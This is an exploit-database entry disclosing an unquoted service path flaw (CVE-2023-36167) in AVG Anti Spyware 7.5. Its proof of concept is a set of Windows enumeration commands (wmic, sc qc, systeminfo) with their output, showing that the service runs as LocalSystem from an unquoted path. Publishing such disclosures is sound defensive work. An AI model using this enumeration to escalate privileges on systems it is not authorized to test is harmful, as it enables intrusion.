AVG Anti Spyware 7.5 - Unquoted Service Path "AVG Anti-Spyware Guard"

EDB-ID:

51583




Platform:

Windows

Date:

2023-07-11


# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.avg.com
# Software Link: https://www.avg.com/en-ww/homepage#pc
# Version: 7.5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36167

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
AVG Anti-Spyware Guard                                                              AVG Anti-Spyware Guard                    C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe                            Auto

C:\Users>sc qc "AVG Anti-Spyware Guard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AVG Anti-Spyware Guard
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AVG Anti-Spyware Guard
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation